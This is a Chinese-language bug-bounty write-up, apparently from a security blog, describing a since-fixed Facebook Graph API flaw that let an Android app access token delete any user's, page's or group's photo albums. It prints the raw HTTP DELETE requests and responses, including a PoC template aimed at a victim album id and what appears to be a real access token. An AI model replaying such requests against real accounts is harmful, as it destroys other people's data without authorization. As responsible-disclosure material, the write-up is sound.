价值12500美刀的Facebook相册删除漏洞

  • A+
所属分类:漏洞分享

t0112b092f99c9153fa.jpg

概述: 如果你的照片被不知不觉删除了,你会怎么办?

很显然,这个问题很让人烦是吧?这篇文章就是要讲我发现的一个漏洞,它允许恶意用户删除Facebook上的任何相册。没错,任何用户、页面、群组的相册都能被删掉。

Graph API是开发人员用来读取并写入用户数据的一种主要方式。Facebook所有的app用的都是Graph API。一般来讲,Graph API要求一个访问token来读取或写入用户数据。

Facebook开发人员的文档指出,相册并不能通过Graph API中的相册节点被删除。

t01a80bf0ecfc1b0f65.jpg

我尝试通过图片浏览器访问token删除了我的一个相册。


Request :-
DELETE /518171421550249 HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=CAACEdEose0cBAABAXPPuULhNCsYZA2cgSbajNEV99ZCHXoNPvp6LqgHmTNYvuNt3e5DD4wZA1eAMflPMCAGKVlaDbJQXPZAWqd3vkaAy9VvQnxyECVD0DYOpWm
3we0X3lp6ZB0hlaSDSkbcilmKYLAzQ6ql1ChyViTiSH1ZBvrjZAH3RQoova87KKsGJT3adTVZBaDSIZAYxRzCNtAC0SZCMzKAyCfXXy4RMUZD
Response :-
{"error":{"message":"(#200) Application does not have the capability to make this API call.","type":"OAuthException","code":200}}


为什么?因为这个应用并不具备删除相册的功能。但是我们需要注意它的错误信息。它告诉我们,一些其他应用确实有调用这个API的功能。

我决定尝试Facebook的移动访问token,因为我们能看到Facebook移动app上删除所有相册的删除选项,不是吗?太好了。它用的是相同的API。所以我就拿了我自己的一个相册id跟Facebook的安卓访问token,并进行尝试。


Request :-
DELETE /518171421550249 HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response :-
true
Album(518171421550249) got deleted :D so whats the next step? Took 
victim's album id and tried to delete it. I was very curious to see the 
result. 
Request :-
DELETE /518171421550249 HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response :-
true


天哪!相册被删掉了!所以我拿到了删除你们所有Facebook相册的密钥,哈哈。

我马上把这个漏洞报告给Facebook安全团队。他们的反应太迅速了,并且用了不到两小时就提供了修复方案。

最后是PoC:


Request :-
DELETE /<Victim's_photo_album_id> HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>


如果你还不确定应该怎么做,请看下面的视频:

Facebook安全团队发出的首份感谢信:

t016a09345eb0e8a7b3.jpg

修复答复并奖励了我12500美元,表彰我对漏洞的报告。

t01b508a41461fedec0.jpg

现在,漏洞已完全修复。

t014a738941316cc709.jpg

谢谢Facebook安全团队提供漏洞奖励项目并快速修复这一漏洞。

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin